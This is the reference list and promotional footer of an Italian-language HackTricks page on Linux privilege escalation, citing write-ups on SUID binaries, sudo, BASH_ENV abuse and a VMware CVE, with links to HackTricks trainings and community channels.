• https://blog.certcube.com/suid-executables-linux-privilege-escalation/

• https://juggernaut-sec.com/sudo-part-2-lpe

• https://linuxconfig.org/how-to-manage-acls-on-linux

• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

• https://www.linode.com/docs/guides/what-is-systemd/

• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)

• GNU Bash Manual – BASH_ENV (non-interactive startup file)

• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)

• NVISO – You name it, VMware elevates it (CVE-2025-41244)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.